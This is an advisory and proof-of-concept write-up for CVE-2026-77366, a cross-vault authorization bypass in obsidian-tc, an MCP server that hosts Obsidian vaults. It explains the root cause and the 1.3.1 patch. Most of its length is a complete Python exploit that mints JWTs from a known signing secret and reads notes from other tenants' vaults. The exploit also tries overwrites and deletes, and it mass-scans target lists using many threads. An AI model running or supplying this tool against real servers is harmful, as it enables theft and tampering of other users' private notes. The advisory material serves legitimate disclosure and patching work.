#Summary

CVE-2026-77366 is a critical (CVSS 9.9) authorization bypass in obsidian-tc, a governed Model Context Protocol server for Obsidian vaults. Before version 1.3.1, tool dispatch fails to bind tokens to specific vaults, allowing any authenticated user to read, write, and delete notes from any configured vault on the server. The vulnerability affects all versions prior to 1.3.1 and requires only a valid token - an attacker with access to their own vault can reach every other vault on the same server.

#Am I affected?

#How to check

Check the version reported by the running service:

curl http://target:8765/mcp -X OPTIONS -v

Or connect and observe the startup banner. Version 1.3.1 or later is patched. If the version is not visible, attempt the cross-vault read proof below - a forbidden error with "vault is not the caller's bound vault" indicates version 1.3.1+.

#Fix and mitigation

#Root cause analysis

obsidian-tc allows a single server process to host multiple Obsidian vaults. Every note-manipulation tool (read, write, delete, list) accepts a caller-supplied vault argument to select which vault to operate on.

#Vulnerable code path

Before version 1.3.1, the tool dispatch in packages/server/src/mcp/registry.ts resolves the vault argument directly from user input without comparing it to the vault the caller is authorized to access:

// read_note and similar tools
handler: (input, ctx) => {
  const v = deps.vaultRegistry.resolve(input.vault);   // user-controlled input.vault
  const rel = normalizeVaultPath(input.path);
  // ... proceeds to read from the resolved vault
}

The dispatch function then enforces only the required scopes and the global read-only ACL:

if (!grantsAll(ctx.grantedScopes, def.requiredScopes))
  throw new ObsidianTcError("forbidden", "missing required scope(s)");

const mutating = def.destructive === true || def.requiredScopes.some(isMutatingScope);
if (mutating && ctx.acl?.readOnly)
  throw new ObsidianTcError("forbidden", "vault is read-only (acl.readOnly)");

But ctx.vaultId (the vault the caller is supposed to be confined to) is never compared to input.vault.

#How input reaches the sink

Three design facts combine to create the bypass:

  1. No vault claim in the JWT: The JwtIdentity in packages/server/src/auth/jwt.ts contains only caller and scopes - no vault binding. A token is therefore not tied to any specific vault.
  2. Fixed vault context: The HTTP transport sets ctx.vaultId to a single server-wide default for every authenticated caller. This value is read only for logging, metrics, and idempotency keys - never as an authorization gate.
  3. Global ACL: The folder access-control list is a single singleton shared across all vaults. It cannot confine a token to one vault.

An attacker who holds any valid token (even one issued for their own vault) can supply a different vault id in the vault argument and the dispatcher will resolve and operate on that foreign vault, subject only to the token's scopes (read/write/delete) and the global read-only flag.

#Patch diff

#What the fix does

Version 1.3.1 adds vault-binding enforcement at three layers:

  1. JWT enhancement: The JwtIdentity now carries an optional vault claim that binds a token to a specific vault.
export interface JwtIdentity {
  caller: string | null;
  scopes: Set<string>;
  vault?: string;  // NEW: optional vault binding
}
  1. Context binding: The HTTP transport now marks callers as vaultBound and sets their ctx.vaultId to the vault claim when present:
// In HTTP transport
vaultId: authz.vault ?? opts.vaultId,
vaultBound: true,
  1. Dispatch guard: The tool registry now rejects any tool call whose vault argument names a different vault than the caller is bound to:
if (ctx.vaultBound === true) {
  const requested = (parsed.data as { vault?: unknown } | null)?.vault;
  if (typeof requested === "string" && requested !== ctx.vaultId)
    throw new ObsidianTcError("forbidden", "vault is not the caller's bound vault", {
      vault: requested,
      bound_vault: ctx.vaultId,
    });
}

The guard fires only for HTTP callers and only when a string vault argument is present, so local stdio operators retain full access.

#Proof of concept

#exploit.py - obsidian-tc Cross-Vault Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-77366 - obsidian-tc cross-vault authorization bypass (CWE-639 / CWE-863)
Affected: obsidian-tc (governed MCP server for Obsidian vaults), all versions before 1.3.1
Type: Authorization bypass / broken object-level authorization (cross-tenant data access)

obsidian-tc can host several vaults in one process. Before 1.3.1, tool dispatch resolves the
caller-supplied `vault` argument straight against the global vault registry and never compares it
with the vault the caller's token is bound to. The JWT carries no vault claim, the request context
pins a single server-wide vault id, and the folder ACL is one global singleton. Any valid token
(even one issued for a single vault) can therefore name a different configured vault and read,
overwrite, or delete its notes, limited only by scope and the global read-only flag.

The exploit sends one stateless MCP `tools/call` over HTTP naming a vault the token is not bound
to. On a vulnerable server the victim note body is returned; on a patched server the same call is
rejected with a `forbidden: vault is not the caller's bound vault` error before the handler runs.

Authentication: the attacker needs any valid token. Supply one you already hold with --token, or,
when you know the HS256 signing secret, let the tool mint one with --secret. read:notes is needed
to read, write:notes to overwrite, delete:notes to delete.

Usage:
  # read a victim vault's note with a token you already hold
  python exploit.py --host 127.0.0.1 --port 8765 --token <JWT> --vault <victim-vault> --path <note>

  # mint a token from a known HS256 secret, then read cross-vault
  python exploit.py --host target.com --port 8765 --secret <jwt-secret> --vault <victim-vault>

  # full URL form, demonstrate integrity/availability reach (non-destructive: own scratch note)
  python exploit.py --host https://target.com:8765/mcp --token <JWT> --vault <victim-vault> --action write

  # batch scan an asset list for the same CVE
  python exploit.py --list targets.txt --workers 20 --secret <jwt-secret> --vault <victim-vault>
"""

import argparse
import base64
import hashlib
import hmac
import json
import secrets
import ssl
import sys
import time
import urllib.error
import urllib.request
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-77366"
VULN_TYPE = "Authorization Bypass"

DEFAULT_PORT   = 8765
DEFAULT_VAULT  = "bravo"            # victim vault id (lab default; set --vault for a real target)
DEFAULT_PATH   = "secrets/flag.md"  # vault-relative note path to read
DEFAULT_SCOPES = ["read:notes", "write:notes", "delete:notes"]

# Per-run neutral identifiers. Nothing here names the tool that sent it.
RUN       = secrets.token_hex(6)
TOKEN_SUB = "user_" + RUN[:8]


# ----------------------------------------------------------------------------- output helpers
def header(host: str, port: int) -> None:
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  " + CVE_ID)
    print("  Type: " + VULN_TYPE + "  |  Target: " + str(host) + ":" + str(port))
    print("=" * 60 + "\n")


def step(n: int, msg: str) -> None:
    print("[STEP " + str(n) + "] " + msg)


def section(label: str, content: str) -> None:
    print("\n--- " + label + " ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print("\n" + "=" * 60)
    print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: " + evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------------------- JWT minting
def _b64url(raw: bytes) -> bytes:
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def mint_token(secret: str, sub: str, scopes: list, ttl: int = 3600) -> str:
    """Mint an HS256 JWT. Deliberately carries NO vault claim: that is the realistic pre-fix
    condition, and it is exactly what makes the cross-vault bypass work."""
    hdr = {"alg": "HS256", "typ": "JWT"}
    now = int(time.time())
    payload = {"sub": sub, "scopes": scopes, "iat": now, "exp": now + ttl}
    signing_input = (
        _b64url(json.dumps(hdr, separators=(",", ":")).encode())
        + b"."
        + _b64url(json.dumps(payload, separators=(",", ":")).encode())
    )
    sig = hmac.new(secret.encode(), signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + _b64url(sig)).decode()


# ----------------------------------------------------------------------------- MCP transport
def _mcp_url(host: str, port: int, use_tls: bool, path: str) -> str:
    scheme = "https" if use_tls else "http"
    endpoint = path if path and path not in ("", "/") else "/mcp"
    return scheme + "://" + host + ":" + str(port) + endpoint


def _parse_rpc(body: bytes) -> dict:
    """Parse a JSON-RPC reply that may arrive as plain JSON or as an SSE `data:` line."""
    text = body.decode("utf-8", "replace").strip()
    try:
        return json.loads(text)
    except ValueError:
        pass
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            chunk = line[5:].strip()
            if chunk and chunk != "[DONE]":
                try:
                    return json.loads(chunk)
                except ValueError:
                    continue
    raise ValueError("unparseable MCP response: " + text[:200])


def mcp_call(url: str, token: str, tool: str, arguments: dict, timeout: float = 15.0) -> dict:
    """Fire one stateless MCP tools/call. Returns the parsed JSON-RPC object."""
    rpc = {
        "jsonrpc": "2.0",
        "id": secrets.randbelow(1 << 30) + 1,
        "method": "tools/call",
        "params": {"name": tool, "arguments": arguments},
    }
    data = json.dumps(rpc).encode()
    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Authorization", "Bearer " + token)
    req.add_header("Content-Type", "application/json")
    # The MCP SDK rejects requests that do not accept both media types.
    req.add_header("Accept", "application/json, text/event-stream")

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        return _parse_rpc(resp.read())
    except urllib.error.HTTPError as e:
        # JSON-RPC errors come back with HTTP 200 here, but tolerate a non-200 body too.
        return _parse_rpc(e.read())


# ----------------------------------------------------------------------------- result reading
def _tool_result(rpc: dict):
    """Classify an MCP reply. Returns (kind, detail, note_text).

    kind: "ok"        -> tool returned note content (cross-vault access granted)
          "forbidden" -> vault-binding guard blocked it (patched / not vulnerable)
          "error"     -> other tool/transport error (auth, scope, not-found, bad request)
    """
    if "error" in rpc and rpc.get("error"):
        err = rpc["error"]
        return "error", err.get("message", json.dumps(err)), ""

    result = rpc.get("result") or {}
    sc = result.get("structuredContent") or {}

    if result.get("isError") or sc.get("code") == "forbidden":
        msg = sc.get("message") or ""
        if not msg:
            content = result.get("content") or []
            msg = content[0].get("text", "") if content else json.dumps(result)[:200]
        kind = "forbidden" if sc.get("code") == "forbidden" else "error"
        return kind, msg, ""

    # Success shape: structuredContent.content holds the note body; content[] mirrors it.
    note_text = sc.get("content")
    if note_text is None:
        content = result.get("content") or []
        note_text = content[0].get("text", "") if content else ""
    return "ok", "note returned", note_text or ""


# ----------------------------------------------------------------------------- silent probe (scan)
def _try_exploit(host, port, use_tls, token=None, secret=None, vault=DEFAULT_VAULT,
                 path=DEFAULT_PATH, marker=None, **_kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    try:
        if not token:
            if not secret:
                return False, "no --token or --secret provided"
            token = mint_token(secret, TOKEN_SUB, DEFAULT_SCOPES)
        url = _mcp_url(host, port, use_tls, "/mcp")
        rpc = mcp_call(url, token, "read_note", {"vault": vault, "path": path})
        kind, detail, note = _tool_result(rpc)
        if kind == "forbidden":
            return False, "vault-binding guard active (patched)"
        if kind == "error":
            return False, detail[:120]
        if marker and marker not in note:
            return False, "cross-vault read returned content but marker absent"
        first = (note.strip().splitlines() or [""])[0][:80]
        return True, "cross-vault read of '" + vault + "' granted: " + first
    except Exception as e:
        return False, "unreachable (" + e.__class__.__name__ + ")"


# ----------------------------------------------------------------------------- target parsing
def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, **kwargs):
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, "/mcp") for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  " + CVE_ID + " - Batch Scan  (" + str(len(targets)) + " targets, "
          + str(workers) + " workers)")
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
        ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  " + ("[+]" if ok else "[-]") + " " + label + " - "
                  + ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  " + str(success_count) + " exploited / "
          + str(total - success_count) + " not vulnerable  (" + str(total) + " total)")
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# ----------------------------------------------------------------------------- main exploit
def exploit(host, port, use_tls, token, secret, own_vault, vault, path, action, marker):
    header(host, port)
    url = _mcp_url(host, port, use_tls, "/mcp")

    step(1, "Obtaining attacker token")
    if token:
        print("       using supplied token (sub/claims as issued)")
    else:
        if not secret:
            done(False, "need a token: pass --token <JWT> or --secret <jwt-secret> to mint one")
        token = mint_token(secret, TOKEN_SUB, DEFAULT_SCOPES)
        print("       minted HS256 token sub=" + TOKEN_SUB
              + " scopes=" + ",".join(DEFAULT_SCOPES) + " (no vault claim)")

    step(2, "Auth sanity check - read the caller's OWN vault '" + own_vault + "'")
    try:
        rpc = mcp_call(url, token, "read_note", {"vault": own_vault, "path": "welcome.md"})
        kind, detail, note = _tool_result(rpc)
    except Exception as e:
        done(False, "cannot reach MCP endpoint " + url + ": " + e.__class__.__name__ + " " + str(e))
    if kind == "ok":
        print("       own-vault read OK - token and scopes are valid")
    else:
        # Not fatal: the own vault / welcome.md may not exist on a real target. Warn and go on.
        print("       own-vault read not confirmed (" + kind + ": " + detail[:80]
              + ") - continuing to the cross-vault probe")

    step(3, "Cross-vault READ - name victim vault '" + vault + "', path '" + path + "'")
    rpc = mcp_call(url, token, "read_note", {"vault": vault, "path": path})
    kind, detail, note = _tool_result(rpc)

    if kind == "forbidden":
        section("SERVER RESPONSE", json.dumps(rpc.get("result", rpc), indent=1)[:800])
        done(False, "vault-binding guard rejected the cross-vault call (forbidden: " + detail
             + ") - target is patched (>=1.3.1)")
    if kind == "error":
        section("SERVER RESPONSE", json.dumps(rpc, indent=1)[:800])
        done(False, "cross-vault read errored (" + detail + ") - auth/scope/path issue, not the bug")

    section("CROSS-VAULT NOTE (" + vault + "/" + path + ")", note)
    if marker and marker not in note:
        done(False, "read returned content from '" + vault + "' but expected marker not present")

    first_line = (note.strip().splitlines() or [""])[0][:100]

    if action == "read":
        done(True, "Cross-vault bypass: read note '" + path + "' from foreign vault '"
             + vault + "' - first line: " + first_line)

    # ------ Integrity / availability reach on the same foreign vault --------------------------
    # write and delete are both handled the same way, and both are non-destructive here: on this
    # server every mutating op is held by a destructive-action confirmation (elicitation) that is
    # unrelated to this CVE and applies to same-vault mutations too. The authorization bypass is
    # proven by the mutating request PASSING the vault-binding check and reaching the foreign
    # vault's handler (the server answers `elicit_required`, and the write even echoes the victim
    # note's current content hash) - whereas a patched build returns `forbidden` before the
    # handler runs. No mutation is confirmed, so nothing in the foreign vault is changed.
    if action in ("write", "delete"):
        if action == "write":
            step(4, "Cross-vault WRITE (integrity) - overwrite '" + path + "' in foreign vault '"
                 + vault + "'")
            tamper = note + "\ntampered-" + RUN + "\n"
            rpc = mcp_call(url, token, "write_note",
                           {"vault": vault, "path": path, "content": tamper, "mode": "overwrite"})
        else:
            step(4, "Cross-vault DELETE (availability) - delete_note on '" + path
                 + "' in foreign vault '" + vault + "'")
            rpc = mcp_call(url, token, "delete_note",
                           {"vault": vault, "path": path, "permanent": False})

        kind, detail, _ = _tool_result(rpc)
        sc = (rpc.get("result") or {}).get("structuredContent") or {}
        code = sc.get("code", "")
        section("SERVER RESPONSE", json.dumps(rpc.get("result", rpc), indent=1)[:800])

        if kind == "forbidden":
            done(False, "vault-binding guard rejected the cross-vault " + action
                 + " (forbidden: " + detail + ") - target is patched")
        if kind == "ok":
            done(True, "Cross-vault bypass: " + action + " on '" + path + "' in foreign vault '"
                 + vault + "' was accepted by the server")
        if code == "elicit_required" or "elicit_required" in detail or "confirmation" in detail:
            done(True, "Cross-vault bypass: " + action + " on '" + path + "' in foreign vault '"
                 + vault + "' passed the vault-binding authorization and reached the handler "
                 + "(held at an orthogonal confirmation gate; no data changed)")
        done(False, "cross-vault " + action + " errored (" + detail + ")")

    done(False, "unknown action")


# ----------------------------------------------------------------------------- CLI
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC - obsidian-tc cross-vault auth bypass")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8765/mcp)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")

    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help="Default port (default: " + str(DEFAULT_PORT) + ")")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")

    # Authentication: use a token you hold, or mint one from the HS256 secret.
    parser.add_argument("--token", help="A valid bearer token you already hold (any vault's token)")
    parser.add_argument("--secret", help="HS256 signing secret, to mint a token when you know it")

    # Target-specific parameters for this authorization-bypass class.
    parser.add_argument("--vault", default=DEFAULT_VAULT,
                        help="Victim vault id to reach cross-tenant (default: " + DEFAULT_VAULT + ")")
    parser.add_argument("--path", default=DEFAULT_PATH,
                        help="Vault-relative note path to read (default: " + DEFAULT_PATH + ")")
    parser.add_argument("--own-vault", default="alpha",
                        help="The caller's own/bound vault id, for the auth sanity check (default: alpha)")
    parser.add_argument("--action", choices=["read", "write", "delete"], default="read",
                        help="read (confidentiality, default/safe), or write/delete to prove I/A reach")
    parser.add_argument("--marker", default=None,
                        help="Optional string that must appear in the leaked note to assert success")

    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             token=args.token, secret=args.secret, vault=args.vault, path=args.path,
             marker=args.marker)
    else:
        parsed = _parse_target(args.host, args.port, "/mcp")
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/mcp")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.token, args.secret, args.own_vault,
                args.vault, args.path, args.action, args.marker)

#Usage

# Single target with a token you already hold
python exploit.py --host 192.0.2.10 --port 8765 --token <JWT> --vault <victim-vault> --path <note-path>

# Mint a token from the known HS256 secret
python exploit.py --host 192.0.2.10 --port 8765 --secret <jwt-secret> --vault <victim-vault> --path <note-path>

# Full URL form with TLS
python exploit.py --host https://target.example:8765/mcp --token <JWT> --vault <victim-vault>

# Prove integrity reach (write)
python exploit.py --host 192.0.2.10 --port 8765 --token <JWT> --vault <victim-vault> --action write

# Prove availability reach (delete)
python exploit.py --host 192.0.2.10 --port 8765 --token <JWT> --vault <victim-vault> --action delete

# Batch scan targets
python exploit.py --list targets.txt --workers 20 --secret <jwt-secret> --vault <victim-vault>

Vulnerable server output:

[STEP 2] Auth sanity check - read the caller's OWN vault 'alpha'
       own-vault read OK - token and scopes are valid
[STEP 3] Cross-vault READ - name victim vault 'bravo', path 'secrets/flag.md'

--- CROSS-VAULT NOTE (bravo/secrets/flag.md) ---
# Restricted

This note belongs to a different tenant's vault (bravo) and must never be
reachable by a token bound to another vault.

marker: OTC_XVAULT_MARKER_7f3a9c21d4e6
---

  RESULT  : SUCCESS
  EVIDENCE: Cross-vault bypass: read note 'secrets/flag.md' from foreign vault 'bravo' - first line: # Restricted

Patched server output:

[STEP 3] Cross-vault READ - name victim vault 'bravo', path 'secrets/flag.md'

--- SERVER RESPONSE ---
{
 "structuredContent": {
  "code": "forbidden",
  "message": "vault is not the caller's bound vault",
  "details": {
   "vault": "bravo",
   "bound_vault": "alpha"
  }
 }
}
---

  RESULT  : FAILURE
  EVIDENCE: vault-binding guard rejected the cross-vault call (forbidden: vault is not the caller's bound vault) - target is patched (>=1.3.1)

#Exploitation notes

#Preconditions

#Reliability

The exploit is highly reliable. It sends a single HTTP POST request and classifies the response by checking for the presence of the forbidden error marker and the victim note content. The vulnerable build returns the note body directly; the patched build returns a structured forbidden error. The exploit correctly handles both plain JSON and Server-Sent Events (SSE) response formats.

#Impact

Full confidentiality, integrity, and availability compromise of every configured vault on the server. An attacker with read scope can leak every note from every vault. An attacker with write scope can overwrite notes. An attacker with delete scope can delete notes. In a multi-tenant deployment where each tenant is issued their own token, a compromised user account or token leak grants access to all other tenants' vaults.

#Chaining potential

This vulnerability chains with any compromise that yields a valid JWT (stolen token, weak signing secret, JWT algorithm confusion, etc.). It also chains with any privilege escalation within obsidian-tc that grants higher scopes, since more scopes = more vault operations.

#References